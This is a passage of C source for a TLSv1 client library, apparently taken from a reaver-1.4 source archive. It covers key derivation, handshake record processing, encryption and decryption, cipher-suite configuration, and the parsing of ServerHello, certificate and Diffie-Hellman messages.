description; } void tlsv1_client_free_dh(struct tlsv1_client *conn) { os_free(conn->dh_p); os_free(conn->dh_g); os_free(conn->dh_ys); conn->dh_p = conn->dh_g = conn->dh_ys = NULL; } int tls_derive_pre_master_secret(u8 *pre_master_secret) { WPA_PUT_BE16(pre_master_secret, TLS_VERSION); if (os_get_random(pre_master_secret + 2, TLS_PRE_MASTER_SECRET_LEN - 2)) return -1; return 0; } int tls_derive_keys(struct tlsv1_client *conn, const u8 *pre_master_secret, size_t pre_master_secret_len) { u8 seed[2 * TLS_RANDOM_LEN]; u8 key_block[TLS_MAX_KEY_BLOCK_LEN]; u8 *pos; size_t key_block_len; if (pre_master_secret) { wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: pre_master_secret", pre_master_secret, pre_master_secret_len); os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); if (tls_prf(pre_master_secret, pre_master_secret_len, "master secret", seed, 2 * TLS_RANDOM_LEN, conn->master_secret, TLS_MASTER_SECRET_LEN)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive " "master_secret"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: master_secret", conn->master_secret, TLS_MASTER_SECRET_LEN); } os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); key_block_len = 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); if (tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, "key expansion", seed, 2 * TLS_RANDOM_LEN, key_block, key_block_len)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive key_block"); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: key_block", key_block, key_block_len); pos = key_block; /* client_write_MAC_secret */ os_memcpy(conn->rl.write_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* server_write_MAC_secret */ os_memcpy(conn->rl.read_mac_secret, pos, conn->rl.hash_size); pos += conn->rl.hash_size; /* client_write_key */ os_memcpy(conn->rl.write_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* server_write_key */ os_memcpy(conn->rl.read_key, pos, conn->rl.key_material_len); pos += conn->rl.key_material_len; /* client_write_IV */ os_memcpy(conn->rl.write_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; /* server_write_IV */ os_memcpy(conn->rl.read_iv, pos, conn->rl.iv_size); pos += conn->rl.iv_size; return 0; } /** * tlsv1_client_handshake - Process TLS handshake * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Input data from TLS peer * @in_len: Input data length * @out_len: Length of the output buffer. * @appl_data: Pointer to application data pointer, or %NULL if dropped * @appl_data_len: Pointer to variable that is set to appl_data length * Returns: Pointer to output data, %NULL on failure */ u8 * tlsv1_client_handshake(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, size_t *out_len, u8 **appl_data, size_t *appl_data_len) { const u8 *pos, *end; u8 *msg = NULL, *in_msg, *in_pos, *in_end, alert, ct; size_t in_msg_len; int no_appl_data; if (conn->state == CLIENT_HELLO) { if (in_len) return NULL; return tls_send_client_hello(conn, out_len); } if (in_data == NULL || in_len == 0) return NULL; pos = in_data; end = in_data + in_len; in_msg = os_malloc(in_len); if (in_msg == NULL) return NULL; /* Each received packet may include multiple records */ while (pos < end) { in_msg_len = in_len; if (tlsv1_record_receive(&conn->rl, pos, end - pos, in_msg, &in_msg_len, &alert)) { wpa_printf(MSG_DEBUG, "TLSv1: Processing received " "record failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); goto failed; } ct = pos[0]; in_pos = in_msg; in_end = in_msg + in_msg_len; /* Each received record may include multiple messages of the * same ContentType. */ while (in_pos < in_end) { in_msg_len = in_end - in_pos; if (tlsv1_client_process_handshake(conn, ct, in_pos, &in_msg_len, appl_data, appl_data_len) < 0) goto failed; in_pos += in_msg_len; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } os_free(in_msg); in_msg = NULL; no_appl_data = appl_data == NULL || *appl_data == NULL; msg = tlsv1_client_handshake_write(conn, out_len, no_appl_data); failed: os_free(in_msg); if (conn->alert_level) { conn->state = FAILED; os_free(msg); msg = tlsv1_client_send_alert(conn, conn->alert_level, conn->alert_description, out_len); } else if (msg == NULL) { msg = os_zalloc(1); *out_len = 0; } return msg; } /** * tlsv1_client_encrypt - Encrypt data into TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to plaintext data to be encrypted * @in_len: Input buffer length * @out_data: Pointer to output buffer (encrypted TLS data) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * send data in the encrypted tunnel. */ int tlsv1_client_encrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { size_t rlen; wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Plaintext AppData", in_data, in_len); os_memcpy(out_data + TLS_RECORD_HEADER_LEN, in_data, in_len); if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_APPLICATION_DATA, out_data, out_len, in_len, &rlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return rlen; } /** * tlsv1_client_decrypt - Decrypt data from TLS tunnel * @conn: TLSv1 client connection data from tlsv1_client_init() * @in_data: Pointer to input buffer (encrypted TLS data) * @in_len: Input buffer length * @out_data: Pointer to output buffer (decrypted data from TLS tunnel) * @out_len: Maximum out_data length * Returns: Number of bytes written to out_data, -1 on failure * * This function is used after TLS handshake has been completed successfully to * receive data from the encrypted tunnel. */ int tlsv1_client_decrypt(struct tlsv1_client *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len) { const u8 *in_end, *pos; int res; u8 alert, *out_end, *out_pos; size_t olen; pos = in_data; in_end = in_data + in_len; out_pos = out_data; out_end = out_data + out_len; while (pos < in_end) { if (pos[0] != TLS_CONTENT_TYPE_APPLICATION_DATA) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected content type " "0x%x", pos[0]); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } olen = out_end - out_pos; res = tlsv1_record_receive(&conn->rl, pos, in_end - pos, out_pos, &olen, &alert); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Record layer processing " "failed"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, alert); return -1; } out_pos += olen; if (out_pos > out_end) { wpa_printf(MSG_DEBUG, "TLSv1: Buffer not large enough " "for processing the received record"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } pos += TLS_RECORD_HEADER_LEN + WPA_GET_BE16(pos + 3); } return out_pos - out_data; } /** * tlsv1_client_global_init - Initialize TLSv1 client * Returns: 0 on success, -1 on failure * * This function must be called before using any other TLSv1 client functions. */ int tlsv1_client_global_init(void) { return crypto_global_init(); } /** * tlsv1_client_global_deinit - Deinitialize TLSv1 client * * This function can be used to deinitialize the TLSv1 client that was * initialized by calling tlsv1_client_global_init(). No TLSv1 client functions * can be called after this before calling tlsv1_client_global_init() again. */ void tlsv1_client_global_deinit(void) { crypto_global_deinit(); } /** * tlsv1_client_init - Initialize TLSv1 client connection * Returns: Pointer to TLSv1 client connection data or %NULL on failure */ struct tlsv1_client * tlsv1_client_init(void) { struct tlsv1_client *conn; size_t count; u16 *suites; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to initialize verify " "hash"); os_free(conn); return NULL; } count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; conn->num_cipher_suites = count; return conn; } /** * tlsv1_client_deinit - Deinitialize TLSv1 client connection * @conn: TLSv1 client connection data from tlsv1_client_init() */ void tlsv1_client_deinit(struct tlsv1_client *conn) { crypto_public_key_free(conn->server_rsa_key); tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); tls_verify_hash_free(&conn->verify); os_free(conn->client_hello_ext); tlsv1_client_free_dh(conn); tlsv1_cred_free(conn->cred); os_free(conn); } /** * tlsv1_client_established - Check whether connection has been established * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if connection is established, 0 if not */ int tlsv1_client_established(struct tlsv1_client *conn) { return conn->state == ESTABLISHED; } /** * tlsv1_client_prf - Use TLS-PRF to derive keying material * @conn: TLSv1 client connection data from tlsv1_client_init() * @label: Label (e.g., description of the key) for PRF * @server_random_first: seed is 0 = client_random|server_random, * 1 = server_random|client_random * @out: Buffer for output data from TLS-PRF * @out_len: Length of the output buffer * Returns: 0 on success, -1 on failure */ int tlsv1_client_prf(struct tlsv1_client *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { u8 seed[2 * TLS_RANDOM_LEN]; if (conn->state != ESTABLISHED) return -1; if (server_random_first) { os_memcpy(seed, conn->server_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->client_random, TLS_RANDOM_LEN); } else { os_memcpy(seed, conn->client_random, TLS_RANDOM_LEN); os_memcpy(seed + TLS_RANDOM_LEN, conn->server_random, TLS_RANDOM_LEN); } return tls_prf(conn->master_secret, TLS_MASTER_SECRET_LEN, label, seed, 2 * TLS_RANDOM_LEN, out, out_len); } /** * tlsv1_client_get_cipher - Get current cipher name * @conn: TLSv1 client connection data from tlsv1_client_init() * @buf: Buffer for the cipher name * @buflen: buf size * Returns: 0 on success, -1 on failure * * Get the name of the currently used cipher. */ int tlsv1_client_get_cipher(struct tlsv1_client *conn, char *buf, size_t buflen) { char *cipher; switch (conn->rl.cipher_suite) { case TLS_RSA_WITH_RC4_128_MD5: cipher = "RC4-MD5"; break; case TLS_RSA_WITH_RC4_128_SHA: cipher = "RC4-SHA"; break; case TLS_RSA_WITH_DES_CBC_SHA: cipher = "DES-CBC-SHA"; break; case TLS_RSA_WITH_3DES_EDE_CBC_SHA: cipher = "DES-CBC3-SHA"; break; case TLS_DH_anon_WITH_AES_128_CBC_SHA: cipher = "ADH-AES-128-SHA"; break; case TLS_RSA_WITH_AES_256_CBC_SHA: cipher = "AES-256-SHA"; break; case TLS_RSA_WITH_AES_128_CBC_SHA: cipher = "AES-128-SHA"; break; default: return -1; } if (os_strlcpy(buf, cipher, buflen) >= buflen) return -1; return 0; } /** * tlsv1_client_shutdown - Shutdown TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 0 on success, -1 on failure */ int tlsv1_client_shutdown(struct tlsv1_client *conn) { conn->state = CLIENT_HELLO; if (tls_verify_hash_init(&conn->verify) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to re-initialize verify " "hash"); return -1; } tlsv1_record_set_cipher_suite(&conn->rl, TLS_NULL_WITH_NULL_NULL); tlsv1_record_change_write_cipher(&conn->rl); tlsv1_record_change_read_cipher(&conn->rl); conn->certificate_requested = 0; crypto_public_key_free(conn->server_rsa_key); conn->server_rsa_key = NULL; conn->session_resumed = 0; return 0; } /** * tlsv1_client_resumed - Was session resumption used * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: 1 if current session used session resumption, 0 if not */ int tlsv1_client_resumed(struct tlsv1_client *conn) { return !!conn->session_resumed; } /** * tlsv1_client_hello_ext - Set TLS extension for ClientHello * @conn: TLSv1 client connection data from tlsv1_client_init() * @ext_type: Extension type * @data: Extension payload (%NULL to remove extension) * @data_len: Extension payload length * Returns: 0 on success, -1 on failure */ int tlsv1_client_hello_ext(struct tlsv1_client *conn, int ext_type, const u8 *data, size_t data_len) { u8 *pos; conn->session_ticket_included = 0; os_free(conn->client_hello_ext); conn->client_hello_ext = NULL; conn->client_hello_ext_len = 0; if (data == NULL || data_len == 0) return 0; pos = conn->client_hello_ext = os_malloc(6 + data_len); if (pos == NULL) return -1; WPA_PUT_BE16(pos, 4 + data_len); pos += 2; WPA_PUT_BE16(pos, ext_type); pos += 2; WPA_PUT_BE16(pos, data_len); pos += 2; os_memcpy(pos, data, data_len); conn->client_hello_ext_len = 6 + data_len; if (ext_type == TLS_EXT_PAC_OPAQUE) { conn->session_ticket_included = 1; wpa_printf(MSG_DEBUG, "TLSv1: Using session ticket"); } return 0; } /** * tlsv1_client_get_keys - Get master key and random data from TLS connection * @conn: TLSv1 client connection data from tlsv1_client_init() * @keys: Structure of key/random data (filled on success) * Returns: 0 on success, -1 on failure */ int tlsv1_client_get_keys(struct tlsv1_client *conn, struct tls_keys *keys) { os_memset(keys, 0, sizeof(*keys)); if (conn->state == CLIENT_HELLO) return -1; keys->client_random = conn->client_random; keys->client_random_len = TLS_RANDOM_LEN; if (conn->state != SERVER_HELLO) { keys->server_random = conn->server_random; keys->server_random_len = TLS_RANDOM_LEN; keys->master_key = conn->master_secret; keys->master_key_len = TLS_MASTER_SECRET_LEN; } return 0; } /** * tlsv1_client_get_keyblock_size - Get TLS key_block size * @conn: TLSv1 client connection data from tlsv1_client_init() * Returns: Size of the key_block for the negotiated cipher suite or -1 on * failure */ int tlsv1_client_get_keyblock_size(struct tlsv1_client *conn) { if (conn->state == CLIENT_HELLO || conn->state == SERVER_HELLO) return -1; return 2 * (conn->rl.hash_size + conn->rl.key_material_len + conn->rl.iv_size); } /** * tlsv1_client_set_cipher_list - Configure acceptable cipher suites * @conn: TLSv1 client connection data from tlsv1_client_init() * @ciphers: Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_client_set_cipher_list(struct tlsv1_client *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; /* * Cisco AP (at least 350 and 1200 series) local authentication * server does not know how to search cipher suites from the * list and seem to require that the last entry in the list is * the one that it wants to use. However, TLS specification * requires the list to be in the client preference order. As a * workaround, add anon-DH AES-128-SHA1 again at the end of the * list to allow the Cisco code to find it. */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; conn->num_cipher_suites = count; } return 0; } /** * tlsv1_client_set_cred - Set client credentials * @conn: TLSv1 client connection data from tlsv1_client_init() * @cred: Credentials from tlsv1_cred_alloc() * Returns: 0 on success, -1 on failure * * On success, the client takes ownership of the credentials block and caller * must not free it. On failure, caller is responsible for freeing the * credential block. */ int tlsv1_client_set_cred(struct tlsv1_client *conn, struct tlsv1_credentials *cred) { tlsv1_cred_free(conn->cred); conn->cred = cred; return 0; } void tlsv1_client_set_session_ticket_cb(struct tlsv1_client *conn, tlsv1_client_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } reaver-1.4/src/tls/tlsv1_client_read.c0000755000175000017500000006260511705505260017350 0ustar reaverreaver/* * TLSv1 client - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_client.h" #include "tlsv1_client_i.h" static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_certificate_request(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello_done(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_server_hello(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, i; u16 cipher_suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_SERVER_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ServerHello)", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ServerHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ServerHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ServerHello", pos, len); end = pos + len; /* ProtocolVersion server_version */ if (end - pos < 2) goto decode_error; if (WPA_GET_BE16(pos) != TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->server_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: server_random", conn->server_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; if (conn->session_id_len && conn->session_id_len == *pos && os_memcmp(conn->session_id, pos + 1, conn->session_id_len) == 0) { pos += 1 + conn->session_id_len; wpa_printf(MSG_DEBUG, "TLSv1: Resuming old session"); conn->session_resumed = 1; } else { conn->session_id_len = *pos; pos++; os_memcpy(conn->session_id, pos, conn->session_id_len); pos += conn->session_id_len; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: session_id", conn->session_id, conn->session_id_len); /* CipherSuite cipher_suite */ if (end - pos < 2) goto decode_error; cipher_suite = WPA_GET_BE16(pos); pos += 2; for (i = 0; i < conn->num_cipher_suites; i++) { if (cipher_suite == conn->cipher_suites[i]) break; } if (i == conn->num_cipher_suites) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "cipher suite 0x%04x", cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (conn->session_resumed && cipher_suite != conn->prev_cipher_suite) { wpa_printf(MSG_DEBUG, "TLSv1: Server selected a different " "cipher suite for a resumed connection (0x%04x != " "0x%04x)", cipher_suite, conn->prev_cipher_suite); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->prev_cipher_suite = cipher_suite; /* CompressionMethod compression_method */ if (end - pos < 1) goto decode_error; if (*pos != TLS_COMPRESSION_NULL) { wpa_printf(MSG_INFO, "TLSv1: Server selected unexpected " "compression 0x%02x", *pos); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } pos++; if (end != pos) { /* TODO: ServerHello extensions */ wpa_hexdump(MSG_DEBUG, "TLSv1: Unexpected extra data in the " "end of ServerHello", pos, end - pos); goto decode_error; } if (conn->session_ticket_included && conn->session_ticket_cb) { /* TODO: include SessionTicket extension if one was included in * ServerHello */ int res = conn->session_ticket_cb( conn->session_ticket_cb_ctx, NULL, 0, conn->client_random, conn->server_random, conn->master_secret); if (res < 0) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback " "indicated failure"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_HANDSHAKE_FAILURE); return -1; } conn->use_session_ticket = !!res; } if ((conn->session_resumed || conn->use_session_ticket) && tls_derive_keys(conn, NULL, 0)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } *in_len = end - in_data; conn->state = (conn->session_resumed || conn->use_session_ticket) ? SERVER_CHANGE_CIPHER_SPEC : SERVER_CERTIFICATE; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ServerHello"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE) return tls_process_server_key_exchange(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST) return tls_process_certificate_request(conn, ct, in_data, in_len); if (type == TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE) return tls_process_server_hello_done(conn, ct, in_data, in_len); if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ServerKeyExchange/CertificateRequest/" "ServerHelloDone)", type); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->server_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->server_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (conn->cred && x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tls_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = SERVER_KEY_EXCHANGE; return 0; } static int tlsv1_process_diffie_hellman(struct tlsv1_client *conn, const u8 *buf, size_t len) { const u8 *pos, *end; tlsv1_client_free_dh(conn); pos = buf; end = buf + len; if (end - pos < 3) goto fail; conn->dh_p_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_p_len == 0 || end - pos < (int) conn->dh_p_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid dh_p length %lu", (unsigned long) conn->dh_p_len); goto fail; } conn->dh_p = os_malloc(conn->dh_p_len); if (conn->dh_p == NULL) goto fail; os_memcpy(conn->dh_p, pos, conn->dh_p_len); pos += conn->dh_p_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH p (prime)", conn->dh_p, conn->dh_p_len); if (end - pos < 3) goto fail; conn->dh_g_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_g_len == 0 || end - pos < (int) conn->dh_g_len) goto fail; conn->dh_g = os_malloc(conn->dh_g_len); if (conn->dh_g == NULL) goto fail; os_memcpy(conn->dh_g, pos, conn->dh_g_len); pos += conn->dh_g_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH g (generator)", conn->dh_g, conn->dh_g_len); if (conn->dh_g_len == 1 && conn->dh_g[0] < 2) goto fail; if (end - pos < 3) goto fail; conn->dh_ys_len = WPA_GET_BE16(pos); pos += 2; if (conn->dh_ys_len == 0 || end - pos < (int) conn->dh_ys_len) goto fail; conn->dh_ys = os_malloc(conn->dh_ys_len); if (conn->dh_ys == NULL) goto fail; os_memcpy(conn->dh_ys, pos, conn->dh_ys_len); pos += conn->dh_ys_len; wpa_hexdump(MSG_DEBUG, "TLSv1: DH Ys (server's public value)", conn->dh_ys, conn->dh_ys_len); return 0; fail: wpa_printf(MSG_DEBUG, "TLSv1: Processing DH params failed"); tlsv1_client_free_dh(conn); return -1; } static int tls_process_server_key_exchange(struct tlsv1_client *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ServerKeyExchange " "(Left=%lu)", (unsigned long) left); tls_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 